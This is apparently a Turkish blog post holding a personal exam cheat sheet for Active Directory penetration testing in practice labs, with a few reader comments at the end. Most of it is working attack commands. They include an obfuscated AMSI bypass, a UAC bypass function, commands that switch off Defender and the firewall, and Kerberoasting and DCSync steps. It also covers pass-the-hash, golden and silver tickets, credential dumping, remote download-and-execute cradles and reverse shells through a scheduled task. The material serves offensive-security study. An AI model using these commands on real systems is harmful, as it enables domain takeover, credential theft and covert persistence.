Büyük güne az kaldı! Sınavıma girmeden önce artık kendime bazı kopyalar çıkartıyorum ve sürekli olarak bu sayfayı canlı tutmayı planlıyorum. 1 ay önce bu sayfayı oluşturmaya başlasaydım çok daha uzun ve kapsamlı olurdu. Belirli bir seviyeye gelmeye başladıkça bazı süreçleri ister istemez insan atlayabiliyor, elimden geldiğince yine senaryolarla açıklamaya çalıştım ancak kopyaların iyi bir şekilde anlaşılabilmesi için KESİNLİKLE POWERSHELL BİLİYOR OLMALISINIZ!!! Hadi Başlayalım!
Mimikatz-cheatsheet
https://berenkudaygorun.com/blog/index.php/mimikatz-cheatsheet/
Powershell => Base64
https://raikia.com/tool-powershell-encoder/
AMSI Bypass
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
UAC Bypass - fodhelper.exe
function FodhelperBypass(){
Param (
[String]$program = "cmd /c start powershell.exe" #default
)
#Create registry structure
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $program -Force
#Perform the bypass
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
#Remove registry structure
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
}
Powershell script çalıştırmak için
powershell -ep bypass
Güvenlik Duvarını kapatma
Set-MpPreference -DisableRealtimeMonitoring $true
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
Türkçe Q Klavye
Import-Module International
Set-WinUserLanguageList -LanguageList "tr"
Kullanıcı İsimleri(PowerSploit/Recon)
Get-NetUser | select userprincipalname
SPN Değeri Olan Kullanıcılar(PowerSploit/Recon)
Get-NetUser -SPN | select cn, userprincipalname, serviceprincipalname
#Tespit edersen Kerberoast attack yapabilirsin!
#Varsayalımki DA grubundan olan bir kullanıcıda (svcadmin) SPN değeri tespit ettin.
#Let’s request a ticket for the service
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"
#Yukarıdan anlaşılacağı üzere SPN değeri = "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"
#klist ile TGS'ini kontrol etmek isteyebilirsin.
#Now, let’s dump the tickets to disk
Invoke-Mimikatz -Command '"kerberos::list /export"'
#Export'unu aldıktan sonra bu ticket'ı kaba-kuvvet ile kırabilirsin (.\tgsrepcrack.py)
python.exe .\tgsrepcrack.py .\10k-worst-pass.txt .\1-40a10000-studentx@MSSQLSvc~dcorp-mgmt.dollarcorp.moneycorp.local-DOLLARCORP.MONEYCORP.LOCAL.kirbi
#Şanslıysan kullanıcının şifresini kırdın!
SPN Değeri Olan Kullanıcılar#2(PowerView_dev.ps1)
Get-DomainUser -Identity supportXuser | Get-DomainSPNTicket | select -ExpandProperty Hash
#Yukarıdaki komut ile direkt olarak john formatında hash'i elde edebilirsin.
Kerberos Preauth Disabled (ASREPRoast) Kullanıcılar(PowerSploit/Recon)
Get-DomainUser -PreauthNotRequired -Verbose | select userprincipalname
#Tespit edersen ASREPRoast saldırısı yapabilirsin!
#Varsayalım ki VPNxuser isimli bir kullanıcı tespit ettin.
#ASREPRoast\ASREPRoast.ps1 kodu ile direkt olarak john'a verebileceğin bir çıktı elde edebilirsin.
Get-ASREPHash -UserName VPNxuser -Verbose
#Şanslıysan kullanıcının şifresini kırdın!
Grup İsimleri(PowerSploit/Recon)
Get-NetGroup | select cn
Bir Gruptaki Kullanıcıları Listeleme(PowerSploit/Recon)
Get-NetGroupMember "RDPUsers*" | select MemberName
Bir kullanıcının üye olduğu grupların isimleri(PowerSploit/Recon)
Get-NetGroup -MemberIdentity "student130" | select samaccountname
#Bir kullanıcın sahip olduğu hakları kötüye kullanmak isteyebiliriz, örnek olarak GenericAll gibi. Kullanıcı için arama yaptığımızda sonuç bulamdıysak birde içinde bulunduğu gruplar için aynı aramayı yapmak iyi bir tercih olacaktır.
Bir kullanıcının ya da Grubun sahip olduğu haklar(PowerSploit/Recon)
$acls = Invoke-ACLScanner -ResolveGUIDs | select *
$acls | Where-Object {$_.IdentityReferenceName -match "student130"} | select ObjectDN, ActiveDirectoryRights, ObjectAceType, IdentityReferenceName
#ve
$acls | Where-Object {$_.IdentityReferenceName -match "RDPUsers"} | select ObjectDN, ActiveDirectoryRights, ActiveDirectoryRights, ObjectAceType, IdentityReferenceName
#Burada RDPUsers içinde arama yapmamın sebebi student130 kullanıcısının bu gruba ait olmasından kaynaklanmaktadır. Kullancıı yerine gruba tanımlanmış bir hakkı elde etmeye çalışabiliriz ve bunu kötüye kullanabiliriz. Örnek bir çıktıyı aşağıda paylaştım.
$acls | Where-Object {$_.IdentityReferenceName -match "RDPUsers"} | select ObjectDN, ActiveDirectoryRights, IdentityReferenceName
ObjectDN ActiveDirectoryRights IdentityReferenceName
-------- --------------------- ---------------------
CN=Control119User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local GenericAll RDPUsers
CN=Control120User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local GenericAll RDPUsers
CN=Control121User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local GenericAll RDPUsers
[Kesilmiş...]
Bir OU içerisindeki bilgisayarları listeleme(PowerSploit/Recon)
Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_}
Child Domain, Parent Domain, External Domain'ler hakkında map bilgisi almak için(PowerSploit/Recon)
Get-NetForestDomain -Verbose | Get-NetDomainTrust
Kullanıcının local admin haklarına sahip olduğu diğer bilgisayalar - çalıştırmak için local admin hakları ister(PowerSploit/Recon)
Find-LocalAdminAccess -Verbose
#Bilgisayar tespit edersen direkt olarak PSSession yapabilirsin!
BloodHound İle Bilgi Toplama(SharpHound.ps1)
Invoke-BloodHound -CollectionMethod All -Verbose
BloodHound İle Aktif Oturumlar İçin(SharpHound.ps1)
Invoke-BloodHound -CollectionMethod LoggedOn -Verbose
Erişim sağlayabildiğimiz bilgisayarlardaki aktif oturumları listeler ve o bilgisayarda local admin olup olmadığımızın kontrolünü yapar(PowerView.ps1 - Eski Sürüm)
Invoke-UserHunter -Verbose -CheckAccess
Erişim sağlayabildiğimiz bilgisayarlardaki aktif oturumları listeler ve o bilgisayarda local admin olup olmadığımızın kontrolünü yapar - İsteilen Herhangibir kullanıcı için(PowerView.ps1 - Eski Sürüm)
Invoke-UserHunter -UserName 'yetkisizuser' -Verbose -CheckAccess
Erişim sağlayabildiğimiz bilgisayarlardaki aktif oturumları listeler ve o bilgisayarda local admin olup olmadığımızın kontrolünü yapar - İsteilen Herhangibir grup için(PowerView.ps1 - Eski Sürüm)
Invoke-UserHunter -GroupName 'Domain Admins' -Verbose -CheckAccess
Erişim hakkımızın olduğu makinelerdeki local admin hesaplarının kimler olduğunu bilmek isteyebilirsiniz. - Local Admin hakları ile çalışır(PowerView.ps1 - Eski Sürüm)
Invoke-EnumerateLocalAdmin -Verbose
Bir bilgisayardaki aktif oturumların bilgisini bize verecektir. - Local admin hakları ister(PowerView.ps1 - Eski Sürüm)
Get-NetLoggedon -ComputerName DB-02 -Verbose
Constrained Language Mode değeri hakkında bilgi verir(Bu kısıma daha sonra tekrar bakacağım sevgili okur)
$ExecutionContext.SessionState.LanguageMode ConstrainedLanguage
DCSync saldırısı için replica kontrolü(PowerView.ps1 - Eski Sürüm)
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ? {($_.IdentityReference -match "student130") -and (($_.ObjectType -match 'replication') -or ($_.ActiveDirectoryRights -match 'GenericAll'))}
#Eğer tespit ederen hemen krbtgt hash'ine koş!
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
Unconstrained Delegation is enabled Bilgisayar(PowerSploit/Recon)
Get-NetComputer -Unconstrained | select -ExpandProperty name
#Bir bilgisayarı tespit ettiğimizi düşünelim. Bu bilgisayarda eğer Administrator oturum açtıysa onun ticket'ını kendi lsass process'imize dahil edebiliriz. Bundan dolayı tespit ettiğimiz bilgisayarda local admin haklarında erişimimizin olmaması gerekiyor. Lab ortamında daha önceden ntlm hash'ini elde ettiğim bir kullanıcının Constrained Delegation Enabled olarak tespit ettiğim bilgisayarda local admin olduğunu biliyorum. Bundan dolayı ilk olarak bir pass the hash işlemi gerçekleştirerek aşağıda devam ediyorum. Ancak bu durum senaryoa göre değişebilir. Sahip olduğunu kullanıcı zaten Constrained Delegation Enabled olarak tespit edilen bilgisayarda local admin'se buna gerek yoktur.
Invoke-Mimikatz -Command '"sekurlsa::pth /user:svcadmin /domain:dollarcorp.moneycorp.local /ntlm:b38ff50264b74508085d82c69794a4d8 /run:powershell.exe"'
#Yeni açılan powershell ekranında şimdi bir kontrol işlemi gerçekleştirelim.
Find-LocalAdminAccess -Verbose
#Constrained Delegation Enabled olarak tespit ettiğimiz bilgisayarı burada görmemiz gerekecektir.
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
#Burada Administrator ile ilgili bir bileti görmemiz ([0;3e4]-0-0-40a50000-DCORP-APPSRV$@cifs-dcorp-dc.dollarcorp.moneycorp.local.kirbi gibi) gerekiyor. Daha sonrasında pass the ticket işlemi yapabiliriz ve DC üzerinde komut çalıştırabiliriz.
Invoke-Mimikatz -Command '"kerberos::ptt C:\Users\appadmin\Documents\userX\[0;6f5638a]-2-0-60a10000-Administrator@krbtgt-DOLLARCORP.MONEYCORP.LOCAL.kirbi"'
Constrained Delegation Enabled Kullanıcı(PowerSploit/Recon, kekeo.exe, Invoke-Mimikatz.ps1)
Get-NetUser -TrustedToAuth| select name, msds-allowedtodelegateto
#Senaryo: Bu komutu çalıştırdığımda websvc isimli kullanıcının Constrained Delegation Enabled olduğunu fark ettim. Şimdi eğer bu kullanıcının hash'ine sahipsek neler yapabileceğimize bakalım. Bu kullanıcı için ilk olarak bir TGT isteğinde bulunalım.
kekeo # tgt::ask /user:websvc /domain:dollarcorp.moneycorp.local /rc4:cc098f204c5887eaa8253e7c2749156f
#[email protected]_krbtgt~dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL.kirbi isminde bir TGT çalışmakta olduğumuz klasöre kaydedildi. Şimdi TGS isteğinde bulunalım (we are requesting a TGS to access cifs/dcorp-mssql as the domain administrator) Bu sayede cifs servisiyle klasör işlemleri yapabileceğiz.
kekeo # tgs::s4u /tgt:[email protected]_krbtgt~dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL.kirbi /user:[email protected] /service:cifs/dcorp-mssql.dollarcorp.moneycorp.LOCAL
#Son olarak oluşan TGS'i current session'a dahil etmemiz gerekiyor.
Invoke-Mimikatz -Command '"kerberos::ptt [email protected]@DOLLARCORP.MONEYCORP.LOCAL_cifs~ dcorp-mssql.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL.kirbi"'
#Artık makine üzerinde gezinebiliriz!
Constrained Delegation Enabled Bilgisayar(PowerSploit/Recon, kekeo.exe, Invoke-Mimikatz.ps1)
Get-NetComputer -TrustedToAuth | select cn, msds-allowedtodelegateto, useraccountcontrol
#Yukarıdaki komut sonucunda DCORP-ADMINSRV isimli bir makinanın Constrained Delegation Enabled olduğunu varsayalım. Şimdi bunu nasıl kötüye kullanabiliriz onu görelim. Unutmadan sorgu sonucunda msds-allowedtodelegateto değeri de {TIME/dcorp-dc.dollarcorp.moneycorp.LOCAL, TIME/dcorp-DC} şeklindedir. İlk olarak bu bilgisayarın NTLM hash'ine ihtiyacımız var. Eğer elimizdeyse hemen bir TGT isteğinde bulunalım. Bunun için kekeo kullancağız.
kekeo # tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
Şimdi oluşan TGT'mizle beraber bir TGS isteğinde bulunalım. Bunu yaparken ldap servisini de işleme dahil edeceğiz.
kekeo # tgs::s4u /tgt:[email protected]_krbtgt~dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL.kirbi /user:[email protected] /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorp-dc.dollarcorp.moneycorp.LOCAL
#Ve şimdide oluşan TGS'imizi Mimikatz ile dahil edelim.
Invoke-Mimikatz -Command '"kerberos::ptt [email protected]@DOLLARCORP.MONEYCORP.LOCAL_ldap~ [email protected]_ALT.kirbi"'
#Harika! Artık DCSync atağını DA yetkilerimiz olmadan yapabiliriz.
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
#Golden Ticket geliyor!
AD Haklarını Kötüye Kullanma
Bir kullanıcı üzerinde GenericAll haklara sahipseniz ona preauth not required atayarak şifresini kırabilirsiniz
#Önce bloodhoun'tan yada aşağıdakine benzer bir komutla kontrol edin(\PowerView_dev.ps1 - Eski Sürüm)
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
#Daha sonra atama işlemini yap!
Set-DomainObject -Identity ControlXUser -XOR @{useraccountcontrol=4194304} -Verbose
#Artık ControlXUser kullancısının ASREPRoast ile şifresini kırabilirsin!
Bir kullanıcı üzerinde GenericAll haklara sahipseniz ona SPN değeri atayarak şifresini kırabilirsiniz
#Önce bloodhoun'tan yada aşağıdakine benzer bir komutla kontrol edin(\PowerView_dev.ps1 - Eski Sürüm)
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
#Daha sonra atama işlemini yap!
Set-DomainObject -Identity supportXuser -Set @{serviceprincipalname='dcorp/whateverX'} -Verbose
#Artık TGS isteğinde bulunup SPN'i kötüye kullanabilirsin!
Replication Haklarını Kötüye Kullanma
#Kontrol
PS C:\Users\student130> $acls | Where-Object {$_.IdentityReferenceName -match "student130" -and $_.ObjectDN -eq "DC=dollarcorp,DC=moneycorp,DC=local" } | select ObjectDN, ActiveDirectoryRights, ObjectAceType, IdentityReferenceName
#Souç varsa dcsync saldırı!
Bir kullanıcı üzerinde AllExtendedRights, GenericAll ya da ForceChangePassword haklarına sahipseiniz parolasını değiştirebilirsiniz
$sifre = ConvertTo-SecureString 'Password1' -AsPlainText -Force
Set-DomainUserPassword -Identity Control130User -AccountPassword $sifre -Verbose
Basitçe tehlikeli hakların aranması
$acls | Where-Object {$_.ActiveDirectoryRights -match "ForceChangePassword" -or $_.ActiveDirectoryRights -match "AddMembers" -or $_.ActiveDirectoryRights -match "GenericAll" -or $_.ActiveDirectoryRights -match "GenericWrite" -or $_.ActiveDirectoryRights -match "WriteOwner" -or $_.ActiveDirectoryRights -match "WriteDACL" -or $_.ActiveDirectoryRights -match "AllExtendedRights"} | select ObjectDN, ActiveDirectoryRights, IdentityReferenceName | Out-Default
Uzaktan Dosya İndirme
Web Server Üzerinden
powershell.exe -c iex ((New-Object Net.WebClient).DownloadString('http://172.16.100.130/PowerView.ps1'));
#Ya da aşağıdakini kullanabilirsin
iex ((New-Object Net.WebClient).DownloadString('http://172.16.100.130/Invoke-Mimikatz.ps1'));
#Dosyayı bir yere kaydedecekseniz aşağıdakini kullanın
powershell -c "Invoke-WebRequest -Uri http://10.10.14.12/41020.exe -OutFile C:\Users\kostas\Desktop\41020.exe"
Invoke-Command Aracılığı İle
$sess = New-PSSession -ComputerName dcorp-mgmt.dollarcorp.moneycorp.local
Invoke-Command -ScriptBlock ${function:Invoke-Mimikatz} -Session $sess
#Ya da
Invoke-Command -Session $sess -FilePath .\Invoke-Mimikatz.ps1
Linux'tan Dosya Transferi (SMB)
130 ⨯
┌──(root💀kali)-[~/oscp/htb/bastartd]
└─# /usr/local/bin/smbserver.py KUDAY /root/oscp/htb/bastartd 130 ⨯
Impacket v0.9.24.dev1+20210720.100427.cd4fe47c - Copyright 2021 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
C:\inetpub\drupal-7.54>copy \\10.10.14.12\KUDAY\MS11-011.exe .
copy \\10.10.14.12\KUDAY\MS11-011.exe .
1 file(s) copied.
Unquoted Path
Kulanılabilecek komutlar(PowerUp.ps1)
#Bu kısmı kestirip atmamın nedeni konuya ait ayrıntılı bilgiyi daha önceden vermiş olmamdan kaynaklanıyor. Unutmayın aşağıdaki her komut ayrı bir süreci temsil etmektedir!
Get-ServiceUnquoted
Get-ModifiableServiceFile -Verbose
Get-ModifiableService
Invoke-ServiceAbuse -Name 'AbyssWebServer' -UserName 'dcorp\studentx'
#Bu işlemler yapıldıktan sonra eğer local adin olursanız giriş çıkış yapmanız gerekecektir.
Dosya ve Klasör İzinleri
Get-Acl -Path 'C:\Kurum AS\' | Format-List
Reverse Shell İçin:
Aağıda farklı yöntemler için örnekler vereceğim anack öncesinde kendi localinizde bir dinleme noktası başlatmayı ve firewall üzerinde dinlediğiniz port için kural girmeyi unutmayın.
Dinleme noktası(powercat.ps1)
powercat -l -v -p 443 -t 1000
Reverse Shell
powershell.exe -c iex ((New-ObjectNet.WebClient).DownloadString('http://172.16.100.X/Invoke-PowerShellTcp.ps1'));Invoke-PowerShellTcp -Reverse -IPAddress 172.16.100.X -Port 443
powershell.exe iex (iwr http://172.16.100.X/Invoke-PowerShellTcp.ps1 -UseBasicParsing);Invoke-PowerShellTcp -Reverse -IPAddress 172.16.100.X -Port 443
DSRM'i Kötüye Kullanma
#DC üzerindeki daha domain kurulmadan önceki Administrator hesabı ile PSSession çalıştırmak istiyorsan. Aşağıdaki komutu DC üzerinde çalıştır!
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD
#Daha sonra hesabın NTLM hash'ini al ve kalıcılık sağla!
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'
#ya da
reg save hklm\sam filename1.hiv
reg save hklm\security filename2.hiv
Invoke-Mimikatz -Command '"lsadump::sam filename1.hiv filename2.hiv"'
#Sıra PTH!
ls \\dc-01\c$ #domain ismi yok çünkü domain yok gibi dşünmeliyiz. DSRM ile yapıyoruz.
WMI without requiring administrator access(Set-RemoteWMI.ps1)
#DC üzerinde aşağıdaki komut çalıştrıldığında istenilen bir kullanıcı için VMI access açılacaktır. Bu durum kullanıcının silver ticket saldırısı gerçekleştirmesine olanak sağlar.
Set-RemoteWMI -UserName studentx -ComputerName dcorp-dc.dollarcorp.moneycorp.local -namespace 'root\cimv2' -Verbose
gwmi -class win32_operatingsystem -ComputerName dcorp-dc.dollarcorp.moneycorp.local
#Kendime not: Bunu kesinlikle blogunda bir senaryo üzerinde gerçekleştir.
SID History
SID History Kötüye Kullanma()
#Bu yöntem sayesinde diğer domain'de CIFS servisini kullanabileceksin. Öncesinde mevcut bulunduğun Domain'de DC üzerinde kod çalıştırabilecek duruma gelmiş olman gerekiyor.
#Şimdi DC üzerinde Trust'ları alalım
Invoke-Mimikatz -Command '"lsadump::trust /patch"'
#Kendi domain'inin ve karşı domain'in SID'leri al
Get-DomainSID
Get-DomainSID -Domain moneycorp.local
#TGT oluştur
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:29b89128ea2f1f892633aff9a4f7a500 /service:krbtgt /target:mone
ycorp.local /ticket:C:\AD\trust_tkt.kirbi"'
#TGS oluştur
.\asktgs.exe C:\AD\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local
#RAM'e yaz
.\kirbikator.exe lsa .\CIFS.mcorp-dc.moneycorp.local.kirbi
#İstismar et!
ls \\mcorp-dc.moneycorp.local\c$
Invoke-Mimikatz.ps1 komutları
Pass The Hash
Invoke-Mimikatz -Command '"sekurlsa::pth /user:svcadmin /domain:dollarcorp.moneycorp.local /ntlm:b38ff50264b74508085d82c69794a4d8 /run:powershell.exe"'
Pass The Ticket
Invoke-Mimikatz -Command '"kerberos::ptt C:\Users\appadmin\Documents\userX\[0;6f5638a]-2-0-60a10000-Administrator@krbtgt-DOLLARCORP.MONEYCORP.LOCAL.kirbi"'
Domaindeki bütün kullanıcıların, bilgisayarların ve trust keylerin NTLM hashleri (DC Üzerinde çalışır)
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
Golden Ticket
Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
Silver Ticket
Invoke-Mimikatz -Command '"kerberos::golden
/domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /target:dcorp-dc.dollarcorp.moneycorp.local /service:HOST /rc4:731a06658bc10b59d71f5176e93e5710 /user:Administrator /ptt"'
#Burada önemli olan /service kısmıdır. /service değerine göre aslında sizin yetkileriniz belirlenecektir. Bununla alakalı ayrıntılı bilgiyi blogumda payaştım. Direkt olarak PSSession da başlatabilirsiniz yada bir zamanlanmış örevde oluşturabilirsiniz. Örneğin yukarıdaki senaryo ile biz burada bir zamanlanmış görev aracılığı ile reverse shell almayı deneyeceğiz.
powercat -l -v -p 443 -t 99999 #Dinleme noktamı başlattım.
schtasks.exe /create /S mcorp-dc.moneycorp.local /SC Weekly /RU "NT Authority\SYSTEM" /TN "KUDAY4REVERSE" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString('''http://172.16.100.130/powercat.ps1'''); powercat -c 172.16.100.130 443 -e cmd;'" #bir task oluşturdum ve benim bilgisayarımdan powercat dosyasını alıp shell gönderiyor.
schtasks /Run /S mcorp-dc.moneycorp.local /TN "KUDAY4REVERSE"
#task'ı çalıştırınca reverse gelir!
Silver Ticket #2
Servis Tipi: WMI
Service Silver Tickets: HOST, RPCSS
Servis Tipi: PowerShell Remoting
Service Silver Tickets: HOST, HTTP, WSMAN, RPCSS
Servis Tipi: WinRM
Service Silver Tickets: HOST, HTTP
Servis Tipi: Scheduled Tasks
Service Silver Tickets: HOST
Servis Tipi: Windows File Share (CIFS)
Service Silver Tickets: CIFS
Servis Tipi: LDAP operations including Mimikatz DCSync
Service Silver Tickets: LDAP
Servis Tipi: Windows Remote Server Administration Tools
Service Silver Tickets: RPCSS, LDAP, CIFS
Skeleton Key
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"'
Extract the credentials from the SAM file from the DC
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'
Extract the credentials from the SAM file from the DC #2
reg save hklm\sam filename1.hiv
reg save hklm\security filename2.hiv
Invoke-Mimikatz -Command '"lsadump::sam filename1.hiv filename2.hiv"'
DCSYNC Saldırısı
$acls = Invoke-ACLScanner -ResolveGUIDs | select *
$acls | Where-Object {$_.IdentityReferenceName -match "student130" -and $_.ObjectDN -eq "DC=dollarcorp,DC=moneycorp,DC=local" } | select ObjectDN, ActiveDirectoryRights, ObjectAceType, IdentityReferenceName
#Kullanıcının replication yetkisi varsa, aşağıdaki komut ile dcsync saldırısı yapılabilir ve krbtgt hesabının hash değeri elde edilebilir.
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
Biletleri Dök
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
Trust'ları Dök
Invoke-Mimikatz -Command '"lsadump::trust /patch"'
Diğer
How to enable Remote Desktop
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0
Başka bir kullanıcıyla powershell açma
$pw = convertto-securestring -AsPlainText -Force -String <insert pw here>
$cred = new-object -typename System.Management.Automation.PSCredential -argumentlist "Domain\User",$pw
$session = new-pssession -computername <computer> -credential $cred
Kullanıcıyı bir gruba ekleme
net group "Domain Admins" testuser /ADD /DOMAIN
DCSYNC Saldırısı İçin Lab Ortamı
LAB İçin DCSYNC Haklarında Kullanıcı Oluşturma
• net user kuday Password1 /ADD /DOMAIN
• net localgroup 'Remote Management Users' kuday /add
Daha sonrasında evil-winrm ile bağlan:
• evil-winrm --ip 10.10.10.161 --user kuday --password Password1 --port 5985
• powershell -ep bypass
• sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
• iex ((New-Object Net.WebClient).DownloadString('http://10.10.14.35:1111/PowerView.ps1'));
• Add-DomainObjectAcl -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity kuday -Rights DCSync
Exploiting
• iex ((New-Object Net.WebClient).DownloadString('http://10.10.14.35:1111/Invoke-Mimikatz.ps1 '));
Invoke-Mimikatz -Command '"lsadump::dcsync /user:htb\Administrator"'
Bilgiler için teşekkürler, ancak bir sorum var bazı konular üzerinde ayrıntılı durulmuşken mimikatz ile ilgili 2 örnek verilmiş. Devamı gelecek mi acaba?
Geliyor, geldi, gelecek…
MSSQL ile ilgli powerupsql içinde bir cheat sheet oluşturacak mısınız?
Burası dinamik bir şekilde gelişecek bir sayfa olacak yani cevabı evet.
Bloodhound kullanarak AD haklarını kötüye kullanmayla ilgili bir yazı olacak mı?
Bloodhound bu koduda gerçekten çok iyi bir araç. Verilen AD halklarla ilgili örnek saldırıları gösteriyor.
Evet hemde çok kapsamlı bir yazı olacak ancak hala taslak halinde üzerinde çalışıyorum…
yazınızı gerçekten beklemekteyim.Bloodhound ile ilgili olarak kurulum dışında türkçe kaynak yok.
Bloodhound’ta bilgisayarlar, GPO’lar ve gruplar arasında şağıdaki gibi haklar yer almaktadır.Bu hakların nasıl kötüye kullanılacağına dair bir yazı olacak mı?
GenericAll, GenericWrite, WriteOwner, WriteDACL, AllExtendedRights, ForceChangePassword, Adminto,Self
Evet olacak, kısaca bahsetmek gerekirse AD haklarından (GenericAll, GenericWrite, WriteOwner, WriteDACL, AllExtendedRights, ForceChangePassword, Adminto,Self) ilk başta bahsedeceğim. Daha sonra bir senaryo oluşturup bu haklara sahip bir kullanıcıyı ya da üye olduğu grubu bloodhound üzerinden bulmayı ve daha sonrasında ilgili hakları nasıl kötüye kullanabileceği… Aslında bloodhound’ta bunları görmek bana sorarsanız oldukça kolay ancak AD haklarının tam olarak anlamak ve bunları kötüye kullanmak kafa karıştırıcı olabiliyor. Daha çok üzerinde duracağım taraf yazımda teorik kısım olacak.
Bu arada sertifikanız hayırlı olsun. AD pentest yapılarınız gerçekten çok güzel.Sertifikayı aldığınıza göre bu yazının heralde devamı gelmeyecek.Üstteki yorumda bassettiğiniz yazı gelse çok iyi olur gerçekten.Bloodhound’la ilgili kurulum yazılarından başka Türkçe doküman yok
Sertifika için teşekkür ederim Hasan, AD yazıları gelmeye devam edecek ve taslak halinde olan bir yazım mevcut ama şuanda OSWP’ye hazırlandığım için biraz daha az zaman ayırıyorum. Ama gelecek. Çünkü Mart’ın ortaları gibi AD ile ilgili hazırlanmaya başlayacağım yeni bir sertifikasyon olacak.
hocam keşke bu seriyi devam ettirseniz çok güzel olur. Özellikle bloodhound kullanarak AD pentest hakkında bir yazı gelirse mükemmel olur.
Selam Ali, Zafiyetli Makine Serisi kısmında windows özelinde çözdüğüm makinelerin bir çoğunda aslında bloodhound kullanıyorum. O kısmı inceleyebilirsin. Spesifik sadece bloodhound anlatan bir seri oluşturmak için ilerleyen süreçte yazıdan ziyade youtube serisi yapayı düşünüyorum.